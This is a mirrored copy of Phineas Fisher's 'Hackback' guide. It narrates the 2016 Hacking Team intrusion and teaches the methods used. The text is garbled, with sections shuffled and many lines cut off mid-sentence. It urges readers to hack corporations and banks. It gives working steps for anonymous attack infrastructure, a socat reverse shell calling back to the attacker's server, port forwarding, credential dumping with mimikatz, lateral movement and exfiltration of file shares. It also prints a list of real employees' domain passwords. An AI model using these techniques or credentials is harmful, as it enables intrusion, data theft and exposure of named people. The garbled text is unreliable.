

The Anarchist Library (Mirror)
Anti-Copyright



Hackback - A DIY GUIDE 1

'Hacking Team attack'

Phineas Fisher

17 Apr 2016

```

| | | | _ _ _ _ _ _ | | _ _ _ _ _ _ | | _ _ _ _ _ _ | | | |
| | | | / / _ ' / / _ | / / | _ \ / _ ' / / _ | |
| _ | ( | | ( | | < | | ) | ( | | ( |
| | | | \ _ _ _ _ \ \ _ _ _ _ \ \ _ _ _ _ \ \ _ _ _ _ \

```

A DIY Guide

```

, - . , - . -
_ , - \ o 0 _ / ;
/ , ' ' |
| \ - . , _ _ _ , / '
\ ' - . _ _ / / , \
/ ' - . _ _ _ - \ ' . / \ ,
/ / | _ _ _ \ , / ' \ '
( ( | . - ' ' ' ' / \ \ '
\ \ \ , , | \ _
\ | o / o / \ .
\ , / /

```

Phineas Fisher
Hackback - A DIY GUIDE 1
'Hacking Team attack'
17 Apr 2016
14th feb 20www.exploit-db.com
usa.anarchistlibraries.net

```

      ( __';;;'__' )      \\
      '//,' '||'      '\
      _//      ||      -- _
    .-'-._( ) .( )-'-'-.  | | |
  /          \ /          \ | | |
 \          / \          /  | | |
  ',-----' ',-----'  _|_|

```

#antisec

--[1 - Introduction]-----

You'll notice the change in language since the last edition English-speaking world already has tons of books, talks, gu info about hacking. In that world, there's plenty of hacker but they misuse their talents working for "defense" contrac agencies, to protect banks and corporations, and to defend Hacker culture was born in the US as a counterculture, but remains in its aesthetics - the rest has been assimilated. wear a t-shirt, dye their hair blue, use their hacker names rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2 a gun to rob a bank. Now you can do both from bed with a la Like the CNT said after the Gamma Group hack: "Let's take a new forms of struggle" [5]. Hacking is a powerful tool, let

- [1] <http://pastebin.com/raw.php?i=cRYvK4jb>
- [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_investigate_the_acts_of_the_Cyber_Security_and_Infrastructure_Coalition
- [3] <http://www.aljazeera.com/news/2015/09/algerian-hacker-hack-into-iraqi-embassy>
- [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
- [5] <http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-a-los-servidores-de-los-servicios-de-seguridad-nacional>

--[2 - Hacking Team]-----

Hacking Team was a company that helped governments hack and

VYMVbIkJz0XK9enaXyiGKL8Ld0HonZ5LaGraRousmiu8JCC6HwLHWJLrkcT
Ms3gckaJ30JnPc/qGSaFqv14pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayE
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRU
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTpbyEl6Khk2h8+c
QdqVNDdp6nbP2rVPW+o3DeTNgOR+87NA1GWpG17VWxsYoa4ZwKHd/tTNPk
cQE+IBfSa00084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgR0zDURvWZ61wyTZ8X
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK718v
4eauRd/XzYqxqNz1Q5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeE
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSpybZEXugzM6gC
VWnfwEIANaqa8fFyiyXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYf14ne3e
oHOGg00MNuhNrs56eLrYb/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMF
n5a6HfmctRzjEXcckFaq1walhnrP6MRFZGKU6+x1nXbiW8sqGEHOa/VdCR3
Pbvmhh894w0zivU1P86TjWGXlu1kHFo7JDgp8YkRGsXv0mvFav7OQXtH11
W1BP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9
jYYjoU4ZuX77iM3+VWw1J1xJuJ0XJ/sAEQEAAyKbHWQYAQIACQUcVWnfwI
CRAOnDOR6Kk10ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpDog1hQj
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RrxtTVaOvZk8uA0E
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnG
JKp0Xt0qGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOi09YtPN
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC715TeoSPN5HdEgA7
D01LGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k

=E5+y

-----END PGP PUBLIC KEY BLOCK-----

If not you, who? If not now, when?

```

- - - - -
| | | | _ _ _ _ | | _ _ | _ _ ) _ _ _ _ _ | | | |
| | _ | | / _ ' | / _ _ | | / / | _ \ / _ ' | / _ _ | |
| _ | ( _ | | ( _ | < | | _ ) | ( _ | | ( _ |
| _ | | _ \ _ _ , _ \ _ _ | _ \ \ | _ _ _ / \ _ _ , _ \ _ _ | _ |

```

journalists, activists, political opposition, and other th
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]. And, occasionally, on
and terrorists [12]. Vincenzetti, the CEO, liked to end his
fascist slogan "boia chi molla". It'd be more correct to sa
RCS". They also claimed to have technology to solve the "pr
and the darknet [13]. But seeing as I'm still free, I have
its effectiveness.

- [1] <http://www.animalpolitico.com/2015/07/el-gobierno-de-pu>
- [2] <http://www.prensa.com/politica/claves-entender-Hacking->
- [3] <http://www.24-horas.mx/ecuador-espio-con-hacking-team-a>
- [4] <https://citizenlab.org/2012/10/backdoors-are-forever-ha>
- [5] <https://citizenlab.org/2014/02/hacking-team-targeting-e>
- [6] <https://citizenlab.org/2015/03/hacking-team-reloaded-us>
- [7] <http://focusecuador.net/2015/07/08/hacking-team-rodas-p>
- [8] <http://www.pri.org/stories/2015-07-08/these-ethiopian-j>
- [9] <https://theintercept.com/2015/07/07/leaked-documents-co>
- [10] <http://www.wired.com/2013/06/spy-tool-sold-to-governme>
- [11] http://www.theregister.co.uk/2015/07/13/hacking_team_v
- [12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bos
- [13] http://motherboard.vice.com/en_ca/read/hacking-team-fo

--[3 - Stay safe out there]-----

Unfortunately, our world is backwards. You get rich by doin
to jail for doing good. Fortunately, thanks to the hard wor
the Tor project [1], you can avoid going to jail by taking
precautions:

- 1) Encrypt your hard disk [2]

I guess when the police arrive to seize your computer, i
already made a lot of mistakes, but it's better to be sa

- 2) Use a virtual machine with all traffic routed through To

This accomplishes two things. First, all your traffic is Tor. Second, keeping your personal life and your hacking computers helps you not to mix them by accident.

You can use projects like Whonix [3], Tails [4], Qubes T something custom [6]. Here's [7] a detailed comparison.

3) (Optional) Don't connect directly to Tor

Tor isn't a panacea. They can correlate the times you're with the times your hacker handle is active. Also, there successful attacks against Tor [8]. You can connect to T peoples' wifi. Wifislax [9] is a linux distro with a lot cracking wifi. Another option is to connect to a VPN or before Tor, but that's less secure because they can stil hacker's activity with your house's internet activity (t evidence against Jeremy Hammond [11]).

The reality is that while Tor isn't perfect, it works qu was young and reckless, I did plenty of stuff without an referring to hacking) apart from Tor, that the police tr to investigate, and I've never had any problems.

- [1] <https://www.torproject.org/>
- [2] <https://info.securityinabox.org/es/chapter-4>
- [3] <https://www.whonix.org/>
- [4] <https://tails.boum.org/>
- [5] <https://www.qubes-os.org/doc/privacy/torvm/>
- [6] <https://trac.torproject.org/projects/tor/wiki/doc/Trans>
- [7] https://www.whonix.org/wiki/Comparison_with_Others
- [8] <https://blog.torproject.org/blog/tor-security-advisory->
- [9] <http://www.wifislax.com/>
- [10] <https://www.torproject.org/docs/bridges.html.en>
- [11] <http://www.documentcloud.org/documents/1342115-timelin>

underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this informatio educational purposes only, be an ethical hacker, don't atta don't have permission to, etc. I'll say the same, but with conception of "ethical" hacking. Leaking documents, exprop banks, and working to secure the computers of ordinary peop hacking. However, most people that call themselves "ethical to secure those who pay their high consulting fees, who are deserving to be hacked.

Hacking Team saw themselves as part of a long line of inspi [1]. I see Vincenzetti, his company, his cronies in the pol and government, as part of a long tradition of Italian fasc dedicate this guide to the victims of the raid on the Arman to all those who have had their blood spilled by Italian fa

[1] <https://twitter.com/coracurrier/status/6181047232630906>

--[18 - Contact]-----

To send me spear phishing attempts, death threats in Italia give me 0days or access inside banks, corporations, governm

- [1] <http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar>
- [2] <https://twitter.com/CthulhuSec/status/61945900285497753>

only encrypted email please:
https://securityinabox.org/es/thunderbird_usarenigmail
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQENBFVp37MBCACu0rMiDt0tn98NurHUPYyI3Fua+bmF2E70UihTodv4F/N
vDZ1hKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+j
27QIf0JGLFhzYm2GYWIiKr88y95YLJxvrMMnJEDwonTECY68RNaooHjy/Tc
+fCM40HxM4AwkqqaAtqUwAJ3Wxr+Hr/3KV+UNV11BP1GGVSnV+OA4m8XWaf

- [2] <http://www.hammer-software.com/wmigphowto.shtml>
- [3] https://www.trustedsec.com/june-2015/no_psexec_needed/
- [4] <https://gallery.technet.microsoft.com/scriptcenter/Powercat>
- [5] http://pwnwiki.io/#!presence/windows/find_files.md
- [6] <http://archive.is/TbaPy>
- [7] <http://hacking.technology/Hacked%20Team/c.pozzi/screenshots>
- [8] <http://hacking.technology/Hacked%20Team/c.pozzi/Desktop>
- [9] <http://hacking.technology/Hacked%20Team/c.pozzi/credentials>

--[15 - The bridge]-----

Within Christian Pozzi's Truecrypt volume, there was a text file with passwords [1]. One of those was for a Fully Automated Nagios access to the Sviluppo network in order to monitor it. I'd needed. The textfile just had the password to the web interface and a public code execution exploit [2] (it's an unauthenticated requires that at least one user has a session initiated, for password from the textfile).

- [1] <http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt>
- [2] <http://seclists.org/fulldisclosure/2014/Oct/78>

--[16 - Reusing and resetting passwords]-----

Reading the emails, I'd seen Daniele Milan granting access already had his windows password thanks to mimikatz. I tried the server and it worked. Then I tried sudo and it worked. For their and their twitter account, I used the "forgot my password" to get my access to their mail server to reset the passwords.

--[17 - Conclusion]-----

That's all it takes to take down a company and stop their business. That's the beauty and asymmetry of hacking: with 100 hours you can undo years of work by a multi-million dollar company. H

----[3.1 - Infrastructure]-----

I don't hack directly from Tor exit nodes. They're on blacklists, slow, and they can't receive connect-backs. Tor protects my ability to connect to the infrastructure I use to hack, which consists of:

1) Domain Names

For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

For use as C&C servers, to receive connect-back shells, and to store the loot.

3) Hacked Servers

For use as pivots to hide the IP addresses of the stable servers when I want a fast connection without pivoting, for example to scan the whole internet, download a database with sqlmap, etc.

Obviously, you have to use an anonymous payment method, like Bitcoin (used carefully).

----[3.2 - Attribution]-----

In the news we often see attacks traced back to government-sponsored groups ("APTs"), because they repeatedly use the same tools and fingerprints, and even use the same infrastructure (domains, servers). They're negligent because they can hack without legal consequences.

I didn't want to make the police's work any easier by relating my Hacking Team with other hacks I've done or with names I use. I work as a blackhat hacker. So, I used new servers and domains.

with new emails, and payed for with new bitcoin addresses. tools that are publicly available, or things that I wrote s this attack, and I changed my way of doing some things to n forensic footprint.

--[4 - Information Gathering]-----

Although it can be tedious, this stage is very important, s attack surface, the easier it is to find a hole somewhere i

----[4.1 - Technical Information]-----

Some tools and techniques are:

1) Google

A lot of interesting things can be found with a few well queries. For example, the identity of DPR [1]. The bible is the book "Google Hacking for Penetration Testers". Yc summary in Spanish at [2].

2) Subdomain Enumeration

Often, a company's main website is hosted by a third par the company's actual IP range thanks to subdomains like ns1.company.com. Also, sometimes there are things that s in "hidden" subdomains. Useful tools for discovering dom are fierce [3], theHarvester [4], and recon-ng [5].

3) Whois lookups and reverse lookups

With a reverse lookup using the whois information from a of a company, you can find other domains and IP ranges. there's no free way to do reverse lookups aside from a g

- [2] <http://www.harmj0y.net/blog/tag/powerview/>
- [3] <http://www.harmj0y.net/blog/powershell/veil-powerview-a>
- [4] <http://www.harmj0y.net/blog/redteaming/powerview-2-0/>
- [5] <http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmin>
- [6] <http://www.slideshare.net/harmj0y/i-have-the-powerview>
- [7] <https://adsecurity.org/?p=2535>
- [8] <https://www.youtube.com/watch?v=rpwrKhgMd7E>
- [9] <https://github.com/mubix/netview>
- [10] <https://blogs.msdn.microsoft.com/rcormier/2013/03/30/h>
- [11] https://adsecurity.org/?page_id=41
- [12] <http://www.darkoperator.com/?tag=Active+Directory>
- [13] <https://github.com/PowerShellMafia/PowerSploit>
- [14] <https://github.com/samratashok/nishang>

--[14- Hunting Sysadmins]-----

Reading their documentation about their infrastructure [1], still missing access to something important - the "Rete Svi network with the source code for RCS. The sysadmins of a co access to everything, so I searched the computers of Mauro Pozzi to see how they administer the Sviluppo network, and were any other interesting systems I should investigate. It access their computers, since they were part of the windows already gotten admin access. Mauro Romeo's computer didn't open, so I opened the port for WMI [2] and executed meterpr addition to keylogging and screen scraping with Get-Keystro Get-TimeScreenshot, I used many /gather/ modules from metas [4], and searched for interesting files [5]. Upon seeing th Truecrypt volume, I waited until he'd mounted it and then c files. Many have made fun of Christian Pozzi's weak password Christian Pozzi in general, he provides plenty of material included them in the leak as a false clue, and to laugh at that mimikatz and keyloggers view all passwords equally.

- [1] <http://hacking.technology/Hacked%20Team/FileServer/File>

the network with powerview:

```
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,A
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0]
select fullname | out-file -append files.txt}
```

Later, you can read it at your leisure and choose which

2) Reading email

As we've already seen, you can download email with powercat. It provides a lot of useful information.

3) Reading sharepoint

It's another place where many businesses store a lot of sensitive information. It can also be downloaded with powershell [1]

4) Active Directory [11]

It has a lot of useful information about users and computers. If you are a Domain Admin, you can already get a lot of info with powershell tools [12]. After getting Domain Admin, you should export information with csvde or another tool.

5) Spy on the employees

One of my favorite hobbies is hunting sysadmins. Spying on sysadmins (one of Hacking Team's sysadmins) gave me access to a network. I gave me access to the rete sviluppo (development network) and the source code of RCS). With a simple combination of Get-Keystroke, Get-TimedScreenshot from PowerSploit [13], Do-Exfiltrate [14], and GPO, you can spy on any employee, or even on t

[1] <https://github.com/PowerShellEmpire/PowerTools/tree/master>

```
'via della moscova 13' site:www.findip-address.com
```

```
'via della moscova 13' site:domaintools.com
```

4) Port scanning and fingerprinting

Unlike the other techniques, this talks to the company's servers. I include it in this section because it's not an attack, it's just information gathering. The company's IDS might generate alerts, but you don't have to worry since the whole internet is being scanned.

For scanning, nmap [6] is precise, and can fingerprint the services discovered. For companies with very large IP ranges, masscan [8] are fast. WhatWeb [9] or BlindElephant [10] are good for sites.

[1] <http://www.nytimes.com/2015/12/27/business/dealbook/the-hackers-are-getting-better-at-hacking.html>

[2] <http://web.archive.org/web/20140610083726/http://www.socmatters.com/2014/06/10/083726/>

[3] <http://ha.ckers.org/fierce/>

[4] <https://github.com/laramies/theHarvester>

[5] <https://bitbucket.org/LaNMaSteR53/recon-ng>

[6] <https://nmap.org/>

[7] <https://zmap.io/>

[8] <https://github.com/robertdavidgraham/masscan>

[9] <http://www.morningstarsecurity.com/research/whatweb>

[10] <http://blindelephant.sourceforge.net/>

----[4.2 - Social Information]-----

For social engineering, it's useful to have information about employees, their roles, contact information, operating system, browser, etc. Some resources are:

1) Google

Here as well, it's the most useful tool.

2) theHarvester and recon-ng

I already mentioned them in the previous section, but their functionality. They can find a lot of information quickly automatically. It's worth reading all their documentation

3) LinkedIn

A lot of information about the employees can be found here. Recruiters are the most likely to accept your connection

4) Data.com

Previously known as Jigsaw. They have contact information for employees.

5) File Metadata

A lot of information about employees and their systems can be found in the metadata of files the company has published. Useful tool for finding files on the company's website and extracting the metadata [1] and FOCA [2].

[1] <https://github.com/laramies/metagoofil>

[2] <https://www.elevenpaths.com/es/labstools/foca-2/index.html>

--[5 - Entering the network]-----

There are various ways to get a foothold. Since the method used by the Hacking Team is uncommon and a lot more work than is usually required, I will talk a little about the two most common ways, which I recommend

----[5.1 - Social Engineering]-----

[3] <https://github.com/bidord/pykek>

[4] <https://adsecurity.org/?p=676>

[5] <http://www.hackplayers.com/2014/12/CVE-2014-6324-como-vulnerabilidad/>

[6] <https://github.com/n1nj4sec/pupy>

[7] http://www.powershell-empire.com/?page_id=273

[8] <https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/README.md>

----[13.2 - Persistence]-----

Once you have access, you want to keep it. Really, persistence is a challenge for assholes like Hacking Team who target activists and individuals. To hack companies, persistence isn't needed since they sleep. I always use Duqu 2 style 'persistence', executing it on high-uptime servers. On the off chance that they all reboot, I have passwords and a golden ticket [1] as backup access. For more about the different techniques for persistence in windows hacking, see [2]. For hacking companies, it's not needed and it increases the risk

[1] <http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi/>

[2] <http://www.harmj0y.net/blog/empire/nothing-lasts-forever/>

[3] <http://www.hexacorn.com/blog/category/autostart-persistence/>

[4] <https://blog.netspi.com/tag/persistence/>

----[13.3 - Internal reconnaissance]-----

The best tool these days for understanding windows networks is netview. It's worth reading everything written by its author [2], [3], [4], [5], and [6]. Powershell itself is also quite powerful [7]. For many windows 2000 and 2003 servers without powershell, you can use the old school [8], with programs like netview.exe [9] or the new 'net view'. Other techniques that I like are:

1) Downloading a list of file names

With a Domain Admin account, you can download a list of files

[13] <https://github.com/PowerShellEmpire/Empire/blob/master>

”In place” Movement:

1) Token Stealing

Once you have admin access on a computer, you can use the other users to access resources in the domain. Two tools incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

You can take advantage of a validation bug in Kerberos tickets Admin tickets [3] [4] [5].

3) Pass the Hash

If you have a user’s hash, but they’re not logged in, you can use sekurlsa:pth [2] to get a ticket for the user.

4) Process Injection

Any RAT can inject itself into other processes. For example, the command in meterpreter and pupy [6], or the psinject [7] powershell empire. You can inject into the process that you want.

5) runas

This is sometimes very useful since it doesn’t require a user. The command is part of windows, but if you don’t have a powershell [8].

[1] <https://www.indetectables.net/viewtopic.php?p=211165>

[2] https://adsecurity.org/?page_id=1821

Social engineering, specifically spear phishing, is responsible for the majority of hacks these days. For an introduction in Spanish, see [2] (the third part, ”Targeted Spear Phishing”). For more information in English, see [2] (the third part, ”Targeted Spear Phishing”). I didn’t want to try to spear phish Hacking Team, as they are helping governments spear phish their opponents, so they are likely to recognize and investigate a spear phishing attempt.

[1] <http://www.hacknbytes.com/2016/01/apt-pentest-con-empire/>

[2] <http://blog.cobaltstrike.com/2015/09/30/advanced-threat-intelligence/>

[3] <http://www.netcommunity.com/lestertheteacher/doc/ingsoci/>

----[5.2 - Buying Access]-----

Thanks to hardworking Russians and their exploit kits, traffic bot herders, many companies already have compromised computer networks. Almost all of the Fortune 500, with their huge networks already inside. However, Hacking Team is a very small company, of it’s employees are infosec experts, so there was a low chance that they already been compromised.

----[5.3 - Technical Exploitation]-----

After the Gamma Group hack, I described a process for searching for vulnerabilities [1]. Hacking Team had one public IP range:

inetnum:	93.62.139.32 - 93.62.139.47
descr:	HT public subnet

Hacking Team had very little exposed to the internet. For example, the Gamma Group, their customer support site needed a client certificate to connect. What they had was their main website (a Joomla blog, [2] didn’t find anything serious), a mail server, a couple of appliances, and a spam filtering appliance. So, I had three Oday in Joomla, look for a Oday in postfix, or look for a Oday in embedded devices. A Oday in an embedded device seemed like

and after two weeks of work reverse engineering, I got a re
Since the vulnerabilities still haven't been patched, I won
details, but for more information on finding these kinds of
see [3] and [4].

[1] <http://pastebin.com/raw.php?i=cRYvK4jb>

[2] <http://sourceforge.net/projects/joomscan/>

[3] <http://www.devtty0.com/>

[4] <https://docs.google.com/presentation/d/1-mtBSka1ktdh8RH>

--[6 - Be Prepared]-----

I did a lot of work and testing before using the exploit ag
I wrote a backdoored firmware, and compiled various post-ex
for the embedded device. The backdoor serves to protect the
exploit just once and then returning through the backdoor m
identify and patch the vulnerabilities.

The post-exploitation tools that I'd prepared were:

1) busybox

For all the standard Unix utilities that the system didn

2) nmap

To scan and fingerprint Hacking Team's internal network.

3) Responder.py

The most useful tool for attacking windows networks when
the internal network, but no domain user.

4) Python

3) PSRemoting [10]

It's disabled by default, and I don't recommend enabling
But, if the sysadmin has already enabled it, it's very c
especially if you use powershell for everything (and you
powershell for almost everything, it will change [11] wi
windows 10, but for now powershell makes it easy to do e
avoid AV, and leave a small footprint)

4) Scheduled Tasks

You can execute remote programs with at and schtasks [5]
same situations where you could use psexec, and it also
footprint [12].

5) GPO

If all those protocols are disabled or blocked by the fi
Domain Admin, you can use GPO to give users a login scri
execute a scheduled task [13], or, like we'll see with t
Mauro Romeo (one of Hacking Team's sysadmins), use GPO t
open the firewall.

[1] <https://technet.microsoft.com/en-us/sysinternals/psexec>

[2] <https://sourceforge.net/projects/winexe/>

[3] <https://www.rapid7.com/db/modules/exploit/windows/smb/p>

[4] http://www.powershellempire.com/?page_id=523

[5] <http://blog.cobaltstrike.com/2014/04/30/lateral-movemen>

[6] <https://github.com/byt3bl33d3r/pth-toolkit>

[7] <https://github.com/CoreSecurity/impacket/blob/master/ex>

[8] https://www.trustedsec.com/june-2015/no_psexec_needed/

[9] http://www.powershellempire.com/?page_id=124

[10] <http://www.maquinasvirtuales.eu/ejecucion-remota-con-p>

[11] <https://adsecurity.org/?p=2277>

[12] <https://www.secureworks.com/blog/where-you-at-indicator>

I'll give a brief review of the different techniques for sp windows network. The techniques for remote execution require hash of a local admin on the target. By far, the most common those credentials is using mimikatz [1], especially sekurlsa and sekurlsa::msv, on the computers where you already have techniques for "in place" movement also require administrative (except for runas). The most important tools for privilege PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821

[2] <https://github.com/PowerShellEmpire/PowerTools/tree/master>

[3] <https://github.com/PowerShellEmpire/Empire/blob/master/>

Remote Movement:

1) psexec

The tried and true method for lateral movement on windows psexec [1], winexe [2], metasploit's psexec_psh [3], Pow invoke_psexec [4], or the builtin windows command "sc" [metasploit module, powershell empire, and pth-winexe [6] hash, not the password. It's the most universal method (windows computer with port 445 open), but it's also the Event type 7045 "Service Control Manager" will appear in my experience, no one has ever noticed during a hack, but investigators piece together what the hacker did afterwards

2) WMI

The most stealthy method. The WMI service is enabled on computers, but except for servers, the firewall blocks it can use wmiexec.py [7], pth-wmis [6] (here's a demonstration pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the wmic [5]. All except wmic just need the hash.

To execute Responder.py

5) tcpdump

For sniffing traffic.

6) dsniff

For sniffing passwords from plaintext protocols like ftp arpspoofing. I wanted to use ettercap, written by Hackin and NaGA, but it was hard to compile it for the system.

7) socat

For a comfortable shell with a pty:

```
my_server: socat file:'tty',raw,echo=0 tcp-listen:my_port
hacked_box: socat exec:'bash -li',pty,stderr,setsid,sigint,
             tcp:my_server:my_port
```

And useful for a lot more, it's a networking swiss army knife examples section of its documentation.

8) screen

Like the shell with pty, it wasn't really necessary, but at home in Hacking Team's network.

9) a SOCKS proxy server

To use with proxychains to be able to access their local program.

10) tgcd

For forwarding ports, like for the SOCKS server, through

- [1] <https://www.busybox.net/>
- [2] <https://nmap.org/>
- [3] <https://github.com/SpiderLabs/Responder>
- [4] <https://github.com/bendmorris/static-python>
- [5] <http://www.tcpcdump.org/>
- [6] <http://www.monkey.org/~dugsong/dsniff/>
- [7] <http://www.dest-unreach.org/socat/>
- [8] <https://www.gnu.org/software/screen/>
- [9] <http://average-coder.blogspot.com/2011/09/simple-socks5>
- [10] <http://tgcd.sourceforge.net/>

The worst thing that could happen would be for my backdoor tools to make the system unstable and cause an employee to spent a week testing my exploit, backdoor, and post-exploit networks of other vulnerable companies before entering Hack

--[7 - Watch and Listen]-----

Now inside their internal network, I wanted to take a look about my next step. I started Responder.py in analysis mode without sending poisoned responses), and did a slow scan wi

--[8 - NoSQL Databases]-----

NoSQL, or rather NoAuthentication, has been a huge gift to community [1]. Just when I was worried that they'd finally authentication bypass bugs in MySQL [2][3][4][5], new datab style that lack authentication by design. Nmap found a few internal network:

```
27017/tcp open  mongodb          MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
```

company. Since with each step I take there's a chance of be start downloading their email before continuing to explore. it easy [1]. Curiously, I found a bug with Powershell's dat downloading the emails, it took me another couple weeks to source code and everything else, so I returned every now an the new emails. The server was Italian, with dates in the f day/month/year. I used:

```
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '0
```

with New-MailboxExportRequest to download the new emails (i mail since June 5). The problem is it says the date is inva try a day larger than 12 (I imagine because in the US the m and you can't have a month above 12). It seems like Microso test their software with their own locale.

- [1] <http://www.stevieg.org/2010/07/using-the-exchange-2010->

--[12 - Downloading Files]-----

Now that I'd gotten Domain Admin, I started to download fil proxy and the -Tc option of smbclient, for example:

```
proxychains smbclient '//192.168.1.230/FAE DiskStation' \
-U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_Dis
```

I downloaded the Amministrazione, FAE DiskStation, and File the torrent like that.

--[13 - Introduction to hacking windows domains]-----

Before continuing with the story of the 'weones culiaos' (H should give some general knowledge for hacking windows netw

----[13.1 - Lateral Movement]-----

It worked! The password for besadmin was still valid, and I used my proxy and metasploit's psexec_psh [4] to get a meterpreter. Then I migrated to a 64 bit process, ran "load kiwi" [5], and got a bunch of passwords, including the Domain Admin:

```
HACKINGTEAM BESAdmin      bes32678!!!
HACKINGTEAM Administrator uu8dd8nndd12!
HACKINGTEAM c.pozzi      P4ssword      <---- lol great s
HACKINGTEAM m.romeo     ioLK/(90
HACKINGTEAM l.guerra    4luc@=.=
HACKINGTEAM d.martinez  W4tudul3sp
HACKINGTEAM g.russo     GCBroS0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi  Ht2015!
HACKINGTEAM a.mino     A!e$$andra
HACKINGTEAM m.bettini  Ettore&Bella0314
HACKINGTEAM m.luppi    Blackou7
HACKINGTEAM s.gallucci  1S9i8m4o!
HACKINGTEAM d.milan    set!dob66
HACKINGTEAM w.furlan   Blu3.B3rry!
HACKINGTEAM d.romualdi  Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri   202571&2E
HACKINGTEAM e.rabe     erab@4HT!
```

- [1] <https://github.com/Neohapsis/creddump7>
- [2] <http://proxychains.sourceforge.net/>
- [3] <https://www.samba.org/>
- [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_M
- [5] <https://github.com/gentilkiwi/mimikatz>

--[11 - Downloading the mail]-----

With the Domain Admin password, I have access to the email,

```
| totalSize = 49856643072
...
|_ version = 2.6.5

27017/tcp open  mongodb      MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases
...
|_ version = 2.6.5
```

They were the databases for test instances of RCS. The audio is stored in MongoDB with GridFS. The audio folder in the t from this. They were spying on themselves without meaning t

- [1] <https://www.shodan.io/search?query=product%3Amongodb>
- [2] <https://community.rapid7.com/community/metasploit/blog/>
- [3] <http://archives.neohapsis.com/archives/vulnwatch/2004-q>
- [4] <http://downloads.securityfocus.com/vulnerabilities/exploits/>
- [5] <http://archives.neohapsis.com/archives/bugtraq/2000-02/>
- [6] <https://ht.transparencytoolkit.org/audio/>

--[9 - Crossed Cables]-----

Although it was fun to listen to recordings and see webcam Team developing their malware, it wasn't very useful. Their were the vulnerability that opened their doors. According to documentation [1], their iSCSI devices were supposed to be network, but nmap found a few in their subnetwork 192.168.1

Nmap scan report for ht-synology.hackingteam.local (192.168.1.1)

```
...
3260/tcp open  iscsi?
```

```
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|   Address: 192.168.200.66:3260,0
|_  Authentication: No authentication required
```

Nmap scan report for synology-backup.hackingteam.local (192

...

3260/tcp open iscsi?

```
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|   Address: 10.0.1.72:3260,0
|   Address: 192.168.200.72:3260,0
|_  Authentication: No authentication required
```

iSCSI needs a kernel module, and it would've been difficult on the embedded system. I forwarded the port so that I could n

VPS: tgcd -L -p 3260 -q 42838

Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:4

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

Now iSCSI finds the name iqn.2000-01.com.synology but has p because it thinks its IP is 192.168.200.72 instead of 127.0

The way I solved it was:

iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-de

And now, after:

iscsiadm -m node --targetname=iqn.2000-01.com.synology:sync

...the device file appears! We mount it:

vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange

the most interesting. It was too big to download, but it w
mount it remotely to look for interesting files:

```
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1          2048 1258287103 629142528 7
```

so the offset is 2048 * 512 = 1048576

```
$ losetup -o 1048576 /dev/loop1 /dev/loop0
```

```
$ mount -o ro /dev/loop1 /mnt/exchange/
```

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 201

we find the hard disk of the VM, and mount it:

```
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vh
```

```
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
```

...and finally we've unpacked the Russian doll and can see

the old Exchange server in /mnt/part1

[1] <https://ht.transparencytoolkit.org/FileServer/FileServer>

--[10 - From backups to domain admin]-----

What interested me most in the backup was seeing if it had
that could be used to access the live server. I used pwdump
